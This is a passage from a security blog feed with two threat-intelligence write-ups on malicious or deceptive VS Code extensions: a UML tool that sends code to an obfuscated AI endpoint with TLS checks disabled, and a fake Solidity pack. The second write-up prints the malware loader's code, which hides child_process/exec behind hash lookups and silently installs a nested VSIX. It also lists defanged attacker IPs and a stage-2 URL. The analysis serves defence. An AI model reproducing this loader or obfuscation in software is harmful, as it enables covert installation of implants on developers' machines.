    <span class="na">servername</span><span class="p">:</span> <span class="nx">isIp</span> <span class="p">?</span> <span class="nx">REMOTE_GATEWAY_HOST</span> <span class="p">:</span> <span class="nx">parsed</span><span class="p">.</span><span class="nx">hostname</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The header injection is how a client reaches a virtual host by address. In a normal client this is a fallback. Here it is the default path, and it means the visible request in any proxy log is an IP address, not a domain.</p>

<p><code class="language-plaintext highlighter-rouge">buildCandidateEndpoints()</code> layers a cached endpoint, the configured endpoint, addresses resolved through DNS-over-HTTPS against <code class="language-plaintext highlighter-rouge">1.1.1.1</code> and <code class="language-plaintext highlighter-rouge">dns.google</code>, the four static addresses, and the domain form. It tries each one until a response parses as JSON.</p>

<h2 id="the-channel-is-not-authenticated">The channel is not authenticated</h2>

<p><code class="language-plaintext highlighter-rouge">rejectUnauthorized: false</code> appears in the completion request, in the DoH resolver, and in the TLS socket created inside an HTTP <code class="language-plaintext highlighter-rouge">CONNECT</code> tunnel. Certificate validation is disabled in all three places, so the client accepts any certificate from any peer.</p>

<p>An inline completion provider returns text that the editor renders as ghost text. The developer accepts it with Tab. If the network can terminate the TLS session, the network can choose that text. On a campus or hotel network, that is the same network the extension is built to traverse: the client detects captive portals and block pages, retries around them, and tunnels through the configured proxy.</p>

<p>The response is parsed for <code class="language-plaintext highlighter-rouge">choices[0].message.content</code>, <code class="language-plaintext highlighter-rouge">choices[0].text</code>, <code class="language-plaintext highlighter-rouge">response</code>, or <code class="language-plaintext highlighter-rouge">text</code>, stripped of Markdown fences, and inserted. There is no signature check, no allowlist, and no prompt to review where the suggestion came from.</p>

<h2 id="where-the-data-goes">Where the data goes</h2>

<p>The hardcoded addresses are not a private command server. Public DNS returns them for <code class="language-plaintext highlighter-rouge">api.kilo.ai</code> and <code class="language-plaintext highlighter-rouge">ai-gateway.kilo.ai</code>, and the model identifiers in the string table, <code class="language-plaintext highlighter-rouge">kilo-auto/small</code> and <code class="language-plaintext highlighter-rouge">kilo-auto/balanced</code>, are Kilo model names. Kilo is a legitimate AI gateway. The extension is a client for it.</p>

<p>That changes the finding but does not resolve it. The extension sends source code, file paths, diagnostics, folder contents, and course documents to a third party by default, and it does so under a destination the code actively hides. The listing did not disclose the transmission until 1.0.5, and the 1.0.5 disclosure is a French section in the README that describes “contextual completion” and “optimized network resolution” without naming the service. The setting text calls <code class="language-plaintext highlighter-rouge">"auto"</code> a “secure cloud gateway,” not Kilo.</p>

<p>The <code class="language-plaintext highlighter-rouge">Authorization</code> header is <code class="language-plaintext highlighter-rouge">Bearer anonymous</code> unless the user sets an API key. So the traffic is either unauthenticated use of a third-party service or the operator’s own account. Nothing in the package distinguishes the two.</p>

<p>The concealment itself is the finding. Version 1.0.0 states that no IP address or hostname appears in plaintext. The 0.0.7 build carried a source comment that called the raw-IP path “Stealth IP”; the current build calls the same code “Private Browsing mode” and “stealth headers.” The function names were cleaned. The transport was not.</p>

<h2 id="configuration-as-an-attack-path">Configuration as an attack path</h2>

<p><code class="language-plaintext highlighter-rouge">umltocode.completion.serverAddress</code> has no configuration scope in the manifest, so it can be set at the workspace level. A repository that ships <code class="language-plaintext highlighter-rouge">.vscode/settings.json</code> can point the completion client at any host. If the developer has configured an API key at the user level, that repository receives both the key and the code context.</p>

<p>This is a capability, not an observed behaviour. It is also the same trust boundary that makes the hidden default a problem: the destination is configuration, and configuration travels with the code.</p>

<h2 id="why-it-survives-review">Why it survives review</h2>

<table>
  <thead>
    <tr>
      <th>Assumption</th>
      <th>Behaviour</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>A UML tool does not touch the network.</td>
      <td>It ships an HTTP and TLS client with proxy support and multi-endpoint fallback.</td>
    </tr>
    <tr>
      <td>The listing describes what the extension does.</td>
      <td>The listing describes diagram parsing. Completion appears only in the 1.0.5 README, in French, without naming the destination.</td>
    </tr>
    <tr>
      <td>A hostname in the code shows where data goes.</td>
      <td>Hostnames and addresses are base64 and XOR encoded. The visible default is a raw IP.</td>
    </tr>
    <tr>
      <td>TLS proves the destination.</td>
      <td>Certificate validation is disabled on completion, DoH, and proxied connections.</td>
    </tr>
    <tr>
      <td>A visible indicator shows when it runs.</td>
      <td>The status-bar toggle existed in 1.0.0 and was removed in 1.0.5.</td>
    </tr>
    <tr>
      <td>Installing is the security boundary.</td>
      <td>The extension host has full file and network access, and the permission model cannot narrow it.</td>
    </tr>
  </tbody>
</table>

<h2 id="outlook">Outlook</h2>

<p>AI completion is being added to extensions that have no other reason to make network requests. A diagram converter, a formatter, a theme preview, and a note-taking tool can all justify a model call in the same way this one does.</p>

<p>Expect three patterns to continue:</p>

<ul>
  <li><strong>Endpoint concealment will become normal.</strong> Vendors and hobbyists both have reasons to avoid a visible domain, from filter evasion to hiding which provider they resell. Encoded endpoints make review harder for everyone.</li>
  <li><strong>Context collection will expand.</strong> The useful autocomplete reads more than the current file. Neighbouring files, PDFs, terminals, and repository history are the obvious next inputs, and each one widens the blast radius of an undisclosed channel.</li>
  <li><strong>Configuration will become an attack path.</strong> A setting that points a client at a host is a target for repositories, dotfiles, and onboarding scripts. Workspace-level settings that name a network destination deserve the same scrutiny as build scripts.</li>
</ul>

<p>The economics favour this. A working AI feature makes an extension useful, and the transport details are rarely reviewed.</p>

<h2 id="remediation">Remediation</h2>

<p>Developers who installed <code class="language-plaintext highlighter-rouge">Lolpaon.umltocode</code> should set <code class="language-plaintext highlighter-rouge">umltocode.completion.enabled</code> to <code class="language-plaintext highlighter-rouge">false</code> or remove the extension. Any secret that was open in the editor while the extension ran, including keys in <code class="language-plaintext highlighter-rouge">.env</code> files, config files, and untitled buffers, should be treated as disclosed and rotated. The same applies to PDFs and source files in the folder of any file that was edited while the extension ran.</p>

<p>For reviewers, the useful checks are concrete. Read the activation events, not just the commands. Follow every network call to its decoded destination. Check whether TLS verification is enabled. Check whether the destination is user-configurable and at what scope. Check what the extension reads before it writes.</p>

<p>The general principle is narrower than “audit your extensions.” An inline completion provider is a code-injection surface. It renders text from a remote host directly into the editor, and the developer accepts it with a single keypress. That surface must not accept text from a host the client cannot authenticate.</p>

<h2 id="indicators">Indicators</h2>

<h3 id="extension">Extension</h3>

<ul>
  <li>Extension ID: <code class="language-plaintext highlighter-rouge">Lolpaon.umltocode</code> <a href="https://pkgscan.dev/pkg/vscode-extension/Lolpaon/umltocode">Pkgscan Result</a></li>
  <li>Display name: UML to Code</li>
  <li>Publisher: <code class="language-plaintext highlighter-rouge">Lolpaon</code></li>
  <li>Publisher account ID: <code class="language-plaintext highlighter-rouge">0c0e03e0-a4ab-4e6c-a47f-b9f5bbdc5b95</code></li>
  <li>Extension ID (GUID): <code class="language-plaintext highlighter-rouge">23f79fd6-eb85-4cdf-8312-aaf680b1af77</code></li>
  <li>Published: 2026-02-03</li>
  <li>Installs at analysis: 326 installs, 397 downloads, 74 updates, 2 ratings</li>
</ul>

<h3 id="builds">Builds</h3>

<table>
  <thead>
    <tr>
      <th>Version</th>
      <th>Published (UTC)</th>
      <th style="text-align: right">Size</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0.0.7</td>
      <td>2026-10-23 12:18</td>
      <td style="text-align: right">61,467 B</td>
      <td><code class="language-plaintext highlighter-rouge">dec386060981aca01fd359a8e83e22e44abe4967805db53ef09c088694b2b4f3</code> <a href="https://pkgscan.dev/file/dec386060981aca01fd359a8e83e22e44abe4967805db53ef09c088694b2b4f3">Pkgscan Result</a></td>
    </tr>
    <tr>
      <td>1.0.0</td>
      <td>2026-10-26 18:48</td>
      <td style="text-align: right">78,266 B</td>
      <td><code class="language-plaintext highlighter-rouge">f314bc708474f96f4f17a5f4f5b3adbd4cab9cf547b4e6aa218709c351c22bde</code> <a href="https://pkgscan.dev/file/f314bc708474f96f4f17a5f4f5b3adbd4cab9cf547b4e6aa218709c351c22bde">Pkgscan Result</a></td>
    </tr>
    <tr>
      <td>1.0.5</td>
      <td>2026-10-26 21:37</td>
      <td style="text-align: right">81,820 B</td>
      <td><code class="language-plaintext highlighter-rouge">8ad550d363270e84b47bd03c0027e2a46c5b39ef27c6bb6150b642735ea193da</code></td>
    </tr>
  </tbody>
</table>

<h3 id="network">Network</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">64.239.123[.]129</code></li>
  <li><code class="language-plaintext highlighter-rouge">64.239.109[.]129</code></li>
  <li><code class="language-plaintext highlighter-rouge">64.239.123[.]65</code></li>
  <li><code class="language-plaintext highlighter-rouge">64.239.109[.]65</code></li>
  <li>Gateway host used in the <code class="language-plaintext highlighter-rouge">Host</code> header and TLS server name: <code class="language-plaintext highlighter-rouge">ai-gateway.kilo.ai</code></li>
  <li>Default endpoint: <code class="language-plaintext highlighter-rouge">https[://]64.239.123[.]129/api/v1/chat/completions</code></li>
  <li>DNS-over-HTTPS resolvers: <code class="language-plaintext highlighter-rouge">1.1.1.1</code>, <code class="language-plaintext highlighter-rouge">dns.google</code></li>
</ul>

<p>Kilo is a legitimate AI gateway, and the addresses above are its published resolution. Do not block or flag the parent domain or the provider broadly. The indicator is an application using those addresses from a VS Code extension, with a hardcoded IP, an injected <code class="language-plaintext highlighter-rouge">Host</code> header, and certificate validation disabled.</p>

<h3 id="behavioural">Behavioural</h3>

<ul>
  <li>Inline completion provider registered for <code class="language-plaintext highlighter-rouge">**</code> with no visible command or status item.</li>
  <li><code class="language-plaintext highlighter-rouge">umltocode.completion.enabled</code> defaulting to <code class="language-plaintext highlighter-rouge">true</code>, <code class="language-plaintext highlighter-rouge">debounceMs</code> defaulting to <code class="language-plaintext highlighter-rouge">150</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">Authorization: Bearer anonymous</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">User-Agent</code> set to Chrome 131 with <code class="language-plaintext highlighter-rouge">fr-CA</code> language headers, <code class="language-plaintext highlighter-rouge">Sec-GPC: 1</code>, and <code class="language-plaintext highlighter-rouge">DNT: 1</code>.</li>
  <li>Request bodies containing <code class="language-plaintext highlighter-rouge">[Code before cursor]</code>, <code class="language-plaintext highlighter-rouge">[Code after cursor]</code>, <code class="language-plaintext highlighter-rouge">[Active File Diagnostics]</code>, <code class="language-plaintext highlighter-rouge">[Context from Folder, Diagrams &amp; PDF Instructions]</code>, and <code class="language-plaintext highlighter-rouge">[Instructions &amp; Consignes extraites du PDF "…"]</code>.</li>
  <li>Directory reads of <code class="language-plaintext highlighter-rouge">.puml</code>, <code class="language-plaintext highlighter-rouge">.plantuml</code>, <code class="language-plaintext highlighter-rouge">.drawio</code>, <code class="language-plaintext highlighter-rouge">.uml</code>, and <code class="language-plaintext highlighter-rouge">.pdf</code> files next to the active document.</li>
  <li><code class="language-plaintext highlighter-rouge">rejectUnauthorized: false</code> combined with a raw-IP default and a <code class="language-plaintext highlighter-rouge">Host</code> override.</li>
</ul>

<h3 id="file">File</h3>

<ul>
  <li>Icon SHA-256: <code class="language-plaintext highlighter-rouge">983df60201cfbc78ebcaf57552352516996bd96385cb32fbe04411497853ff36</code></li>
</ul>]]></content><author><name></name></author><category term="Threat Intel" /><category term="vsix" /><category term="vscode" /><category term="marketplace" /><category term="data-exfiltration" /><category term="ai-coding" /><category term="tls" /><category term="supply-chain" /><summary type="html"><![CDATA[A PlantUML-to-code converter held a quiet Marketplace listing for eight months. Then it grew a hidden AI autocomplete that sends your open file, the neighbouring files, and your course PDFs to an endpoint it obfuscates and never authenticates.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/lolpaon-umltocode-silent-autocomplete.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/lolpaon-umltocode-silent-autocomplete.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">language-pack-sol: The Solidity Pack That Ships Its Own Backdoor</title><link href="https://yeethsecurity.com/blog/2026-10-25-Language-Pack-Sol-Nested-Dropper" rel="alternate" type="text/html" title="language-pack-sol: The Solidity Pack That Ships Its Own Backdoor" /><published>2026-10-25T23:59:00+00:00</published><updated>2026-10-25T23:59:00+00:00</updated><id>https://yeethsecurity.com/blog/Language-Pack-Sol-Nested-Dropper</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-25-Language-Pack-Sol-Nested-Dropper"><![CDATA[<p>The payload in this package is not in the file the manifest names. <code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code> 0.0.194 is a 29.7 MB Solidity language pack whose <code class="language-plaintext highlighter-rouge">main</code> file waits 60–150 seconds, then calls <code class="language-plaintext highlighter-rouge">workbench.extensions.command.installFromVSIX</code> on a nested VSIX at <code class="language-plaintext highlighter-rouge">resources/bundled.payload</code>. The editor installs that archive under <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code>, the publisher ID of the real Solidity extension. The nested package carries a 54 MB video. The video carries a four-platform Go implant, a ConnectWise ScreenConnect installer, and a UAC-bypass script.</p>

<p>The identity is built to survive the first glance. The publisher display name stores <code class="language-plaintext highlighter-rouge">Ju</code> + U+202E + <code class="language-plaintext highlighter-rouge">ocnalB na</code>, which renders as “Juan Blanco”. The display name is <code class="language-plaintext highlighter-rouge">solidity</code> followed by 23 zero-width spaces. The icon and README are byte copies of the canonical extension. There is no clean twin in the version history, and the first build is still served after the second replaces it.</p>

<p>The hub address is not in the package at all. The implant reads it from an Ethereum contract, so the operator can rotate the server without republishing. Yeeth Security has tracked this operation since <a href="https://yeethsecurity.com/blog/2025-11-10-Ducky-Strikes-Again">the 2025 SleepyDuck loader</a>. <a href="https://yeethsecurity.com/blog/2026-09-24-Alejandroaranda-Duck-Song-Dropper">The September wave</a> put the implant inside an MP4. <a href="https://yeethsecurity.com/blog/2026-10-22-Juanbanco-Web3tools-Marketplace-Dropper">The October wave</a> moved it to the VS Code Marketplace and hid it behind a clean build. The payload has not changed since April. The wrapper changed again 46 minutes after this listing went up, when <code class="language-plaintext highlighter-rouge">0.0.195</code> moved the hand-off into the host process and cut the inner delay to 3–10 seconds.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li><strong>Two builds in 46 minutes, both malicious.</strong> <code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code> <code class="language-plaintext highlighter-rouge">0.0.194</code> was published at 22:31:40 UTC and replaced by <code class="language-plaintext highlighter-rouge">0.0.195</code> at 23:17:44 UTC. Both are 29.7 MB and both install the nested extension. The listing was live at the time of writing.</li>
  <li><strong>The identity is layered deception.</strong> The publisher ID <code class="language-plaintext highlighter-rouge">luanblanco</code> differs from <code class="language-plaintext highlighter-rouge">JuanBlanco</code> by one character. The publisher display name stores <code class="language-plaintext highlighter-rouge">Ju</code> + U+202E + <code class="language-plaintext highlighter-rouge">ocnalB na</code>, which renders as “Juan Blanco”. The extension display name is <code class="language-plaintext highlighter-rouge">solidity</code> followed by 23 U+200B zero-width spaces.</li>
  <li><strong>The listed package installs a second extension.</strong> <code class="language-plaintext highlighter-rouge">out/extension.js</code> is byte-identical to the loader from the October 22 and October 24 waves. It waits 60–150 seconds, then installs <code class="language-plaintext highlighter-rouge">resources/bundled.payload</code> through <code class="language-plaintext highlighter-rouge">workbench.extensions.command.installFromVSIX</code>. The nested VSIX identifies itself as <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code>, display name “Solidity language runtime helpers”: <code class="language-plaintext highlighter-rouge">0.0.3</code> in the first build, <code class="language-plaintext highlighter-rouge">0.0.4</code> in the second. It installs nothing when the genuine extension is already present.</li>
  <li><strong>The carrier moved back inside the package.</strong> Previous waves downloaded <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> from <code class="language-plaintext highlighter-rouge">litter[.]catbox[.]moe</code>. This build embeds the same 54,130,171-byte file in the nested VSIX. There is no external file host to take down.</li>
  <li><strong>The second build fixes a deployment bug.</strong> <code class="language-plaintext highlighter-rouge">sideInstall.js</code> grows from 3 KB to 6.6 KB, scans <code class="language-plaintext highlighter-rouge">~/.cursor/extensions</code> and <code class="language-plaintext highlighter-rouge">~/.vscode/extensions</code> for the inner package, activates it explicitly, and forks the deploy script from the host. The inner package moves to <code class="language-plaintext highlighter-rouge">0.0.4</code> with a 3–10 second delay instead of 45–105 seconds.</li>
  <li><strong>The payload did not change.</strong> All seven archive entries — four <code class="language-plaintext highlighter-rouge">evjawbreaker</code> implants, the ScreenConnect MSI, the UAC script, and the ASCII-art duck note — are byte-identical to the September and October waves. The host loader is byte-identical. The icon is byte-identical to the real <code class="language-plaintext highlighter-rouge">JuanBlanco.solidity</code> icon.</li>
  <li><strong>The dead drop rotated.</strong> The Ethereum contract <code class="language-plaintext highlighter-rouge">0xf8a900Db50b3331be6B768bA460BB59f3E40C344</code> now returns hub <code class="language-plaintext highlighter-rouge">193.57.9[.]17:4912</code> and stage-2 URL <code class="language-plaintext highlighter-rouge">http[://]107.189.27[.]46:3000/app.js</code>. The hub was changed on September 24, 2026 at 17:30 UTC, about six hours before the September campaign went live.</li>
  <li><strong>The hub and the ScreenConnect relay share a hosting provider.</strong> <code class="language-plaintext highlighter-rouge">193.57.9[.]17</code> and the relay in the MSI, <code class="language-plaintext highlighter-rouge">185.232.84[.]169:8041</code>, both resolve to AS152900 Onidel Pty Ltd.</li>
  <li><strong>Linkage is byte-level, not stylistic.</strong> The evidence ties this build to the SleepyDuck delivery pipeline. It does not establish that one operator controls every extension in the family.</li>
</ul>

<h2 id="why-a-language-pack-works">Why a language pack works</h2>

<p>The canonical Solidity extension is <code class="language-plaintext highlighter-rouge">JuanBlanco.solidity</code>. It has 1,840,135 installs, 8,377,685 update events, and a version history going back years. Its listing is the trust anchor for every Solidity developer on the Marketplace. Any extension that displays as “solidity” inherits the first glance.</p>

<p>The previous waves attacked that anchor directly. They used extension IDs such as <code class="language-plaintext highlighter-rouge">web3tools</code> and <code class="language-plaintext highlighter-rouge">ethtools</code>, publishers such as <code class="language-plaintext highlighter-rouge">juanbanco</code> and <code class="language-plaintext highlighter-rouge">jaunblanco</code>, and display names built from zero-width spaces. This wave changes the naming strategy. The extension ID is <code class="language-plaintext highlighter-rouge">language-pack-sol</code>, which reads as a localisation package, not a Solidity compiler. The display name carries the impersonation instead.</p>

<p>The rest of the page is copied. The description is “Ethereum Solidity Language for Visual Studio Code”. The icon is a byte-for-byte copy of the canonical icon: 21,401 bytes, 204×299 RGBA, SHA-256 <code class="language-plaintext highlighter-rouge">5f40b4a5…</code>. The README is copied from the canonical README, including the badges that pull version, install, and rating numbers from <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code>. The fake listing therefore displays the real extension’s numbers next to the attacker’s package.</p>

<p>One detail in the manifest is not copied. The engine constraint is <code class="language-plaintext highlighter-rouge">^1.0.0</code>, which removes every version gate on installation.</p>

<h2 id="the-listing">The listing</h2>

<p>The first build:</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Publisher ID</td>
      <td><code class="language-plaintext highlighter-rouge">luanblanco</code></td>
    </tr>
    <tr>
      <td>Publisher display</td>
      <td><code class="language-plaintext highlighter-rouge">Ju</code> U+202E <code class="language-plaintext highlighter-rouge">ocnalB na</code> (renders “Juan Blanco”)</td>
    </tr>
    <tr>
      <td>Extension ID</td>
      <td><code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code></td>
    </tr>
    <tr>
      <td>Display name</td>
      <td><code class="language-plaintext highlighter-rouge">solidity</code> + 23× U+200B</td>
    </tr>
    <tr>
      <td>Version</td>
      <td><code class="language-plaintext highlighter-rouge">0.0.194</code></td>
    </tr>
    <tr>
      <td>Activation</td>
      <td><code class="language-plaintext highlighter-rouge">onStartupFinished</code></td>
    </tr>
    <tr>
      <td>Served package</td>
      <td>29,722,717 bytes (gzip), 29,714,777 bytes (decompressed ZIP)</td>
    </tr>
    <tr>
      <td>Nested payload</td>
      <td>29,757,954 bytes (<code class="language-plaintext highlighter-rouge">resources/bundled.payload</code>)</td>
    </tr>
    <tr>
      <td>Published</td>
      <td>2026-10-25 22:31:40 UTC</td>
    </tr>
    <tr>
      <td>Last updated</td>
      <td>2026-10-25 22:44:57 UTC</td>
    </tr>
    <tr>
      <td>Downloads at 22:52 UTC</td>
      <td>10</td>
    </tr>
  </tbody>
</table>

<p>The second build:</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Version</td>
      <td><code class="language-plaintext highlighter-rouge">0.0.195</code></td>
    </tr>
    <tr>
      <td>Served package</td>
      <td>29,723,674 bytes (gzip), 29,715,732 bytes (decompressed ZIP)</td>
    </tr>
    <tr>
      <td>Nested payload</td>
      <td>29,758,015 bytes (<code class="language-plaintext highlighter-rouge">resources/bundled.payload</code>)</td>
    </tr>
    <tr>
      <td>Version replaced</td>
      <td>2026-10-25 23:17:44 UTC</td>
    </tr>
    <tr>
      <td>Downloads at 23:20 UTC</td>
      <td>26</td>
    </tr>
  </tbody>
</table>

<p>At 22:52 the gallery showed one version, <code class="language-plaintext highlighter-rouge">0.0.194</code>. At 23:17 it showed <code class="language-plaintext highlighter-rouge">0.0.195</code>, and <code class="language-plaintext highlighter-rouge">0.0.194</code> was no longer in the history. The first build is still served by direct asset URL. The earlier <code class="language-plaintext highlighter-rouge">0.0.2</code> placeholder is also still retrievable by direct asset URL. It is the <code class="language-plaintext highlighter-rouge">extneison</code> template seen in previous waves: “A minimal test extension”, 2,384 bytes, with a leftover command named <code class="language-plaintext highlighter-rouge">xander-asfasfzxcxzcxv-test.helloWorld</code>. The template still carries the previous owner’s strings.</p>

<p>The package also carries the production scripts that built it:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"build:inner"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node scripts/build-inner-vsix.mjs"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"prepare:publish-deploy"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node -e </span><span class="se">\"</span><span class="s2">require('fs').copyFileSync('src/components/mp4Deploy.js','lang-resource-sync.upload.txt')</span><span class="se">\"</span><span class="s2">"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"package:marketplace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node scripts/package-marketplace.mjs"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"package:publish"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node scripts/package-marketplace.mjs"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">build:inner</code> builds the nested VSIX. <code class="language-plaintext highlighter-rouge">prepare:publish-deploy</code> copies the deploy script into a file named <code class="language-plaintext highlighter-rouge">lang-resource-sync.upload.txt</code>, the upload artifact used with the file host in the previous wave. The file host is gone from this build, but the build step that fed it remains.</p>

<h2 id="the-first-stage">The first stage</h2>

<p>The entry point is 2,904 bytes and is byte-identical to the loader used in the October 22 and October 24 waves. Its SHA-256 is <code class="language-plaintext highlighter-rouge">48b97958c28b5e09a18668e664660457eee6d954d8edc7f582d40682df37642d</code>.</p>

<p>It resolves <code class="language-plaintext highlighter-rouge">child_process</code> and <code class="language-plaintext highlighter-rouge">exec</code> through SHA-256 lookups instead of literal names, then calls the installer:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">tag</span> <span class="o">=</span> <span class="p">(</span><span class="nx">s</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nf">createHash</span><span class="p">(</span><span class="dl">'</span><span class="s1">sha256</span><span class="dl">'</span><span class="p">).</span><span class="nf">update</span><span class="p">(</span><span class="nx">s</span><span class="p">).</span><span class="nf">digest</span><span class="p">(</span><span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">pick</span> <span class="o">=</span> <span class="p">(</span><span class="nx">xs</span><span class="p">,</span> <span class="nx">h</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">xs</span><span class="p">.</span><span class="nf">find</span><span class="p">((</span><span class="nx">x</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nf">tag</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="o">===</span> <span class="nx">h</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">pkg</span> <span class="o">=</span> <span class="nf">pick</span><span class="p">(</span><span class="nx">builtinModules</span><span class="p">,</span> <span class="dl">'</span><span class="s1">f2d8255a…</span><span class="dl">'</span><span class="p">);</span>        <span class="c1">// "child_process"</span>
<span class="kd">const</span> <span class="nx">api</span> <span class="o">=</span> <span class="nf">require</span><span class="p">(</span><span class="nx">pkg</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">run</span> <span class="o">=</span> <span class="nx">api</span><span class="p">[</span><span class="nf">pick</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nf">keys</span><span class="p">(</span><span class="nx">api</span><span class="p">),</span> <span class="dl">'</span><span class="s1">2706c619…</span><span class="dl">'</span><span class="p">)];</span>  <span class="c1">// "exec"</span>
<span class="kd">const</span> <span class="nx">marker</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">416E2065796520666F7220616E20657965206D7920667269656E642E</span><span class="dl">'</span><span class="p">;</span>

<span class="k">if </span><span class="p">(</span><span class="nx">run</span> <span class="o">!==</span> <span class="nx">marker</span><span class="p">)</span> <span class="p">{</span>
    <span class="nf">attemptUpdate</span><span class="p">(</span><span class="nx">context</span><span class="p">.</span><span class="nx">extensionPath</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The marker decodes to <code class="language-plaintext highlighter-rouge">An eye for an eye my friend.</code>. The comparison can never be true: <code class="language-plaintext highlighter-rouge">run</code> is a function and <code class="language-plaintext highlighter-rouge">marker</code> is a string. The block is a static signature, not a gate.</p>

<p><code class="language-plaintext highlighter-rouge">attemptUpdate()</code> calls <code class="language-plaintext highlighter-rouge">scheduleSideInstall()</code>. That function is the new part of the wrapper in the first build. The second build replaces it with a larger orchestrator. This is a representative excerpt of the first version:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">INNER_ID</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">juanblanco.solidity</span><span class="dl">'</span><span class="p">;</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nf">installInnerPack</span><span class="p">(</span><span class="nx">hostExtensionPath</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if </span><span class="p">(</span><span class="nx">vscode</span><span class="p">.</span><span class="nx">extensions</span><span class="p">.</span><span class="nf">getExtension</span><span class="p">(</span><span class="nx">INNER_ID</span><span class="p">))</span> <span class="k">return</span><span class="p">;</span>

    <span class="kd">const</span> <span class="nx">bundled</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">hostExtensionPath</span><span class="p">,</span> <span class="dl">'</span><span class="s1">resources</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">bundled.payload</span><span class="dl">'</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">tmpVsix</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">os</span><span class="p">.</span><span class="nf">tmpdir</span><span class="p">(),</span> <span class="s2">`sol-bundled-</span><span class="p">${</span><span class="nb">Date</span><span class="p">.</span><span class="nf">now</span><span class="p">()}</span><span class="s2">.vsix`</span><span class="p">);</span>
    <span class="nx">fs</span><span class="p">.</span><span class="nf">copyFileSync</span><span class="p">(</span><span class="nx">bundled</span><span class="p">,</span> <span class="nx">tmpVsix</span><span class="p">);</span>

    <span class="k">await</span> <span class="nx">vscode</span><span class="p">.</span><span class="nx">commands</span><span class="p">.</span><span class="nf">executeCommand</span><span class="p">(</span>
        <span class="dl">'</span><span class="s1">workbench.extensions.command.installFromVSIX</span><span class="dl">'</span><span class="p">,</span> <span class="p">[</span><span class="nx">vscode</span><span class="p">.</span><span class="nx">Uri</span><span class="p">.</span><span class="nf">file</span><span class="p">(</span><span class="nx">tmpVsix</span><span class="p">)]</span>
    <span class="p">);</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nf">scheduleSideInstall</span><span class="p">(</span><span class="nx">hostExtensionPath</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">delay</span> <span class="o">=</span> <span class="mi">60000</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nf">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nf">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">90000</span><span class="p">);</span>
    <span class="nf">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="k">void</span> <span class="nf">installInnerPack</span><span class="p">(</span><span class="nx">hostExtensionPath</span><span class="p">),</span> <span class="nx">delay</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The installer runs 60–150 seconds after activation, when the editor window is already up and the developer is working. The editor performs the install through its normal extension path, without a marketplace page or a download prompt.</p>

<p>The <code class="language-plaintext highlighter-rouge">getExtension(INNER_ID)</code> check is deliberate. A machine that already runs the genuine <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> receives nothing. The campaign targets machines without the canonical extension, where a second Solidity extension is less likely to be noticed.</p>

<h2 id="the-second-stage">The second stage</h2>

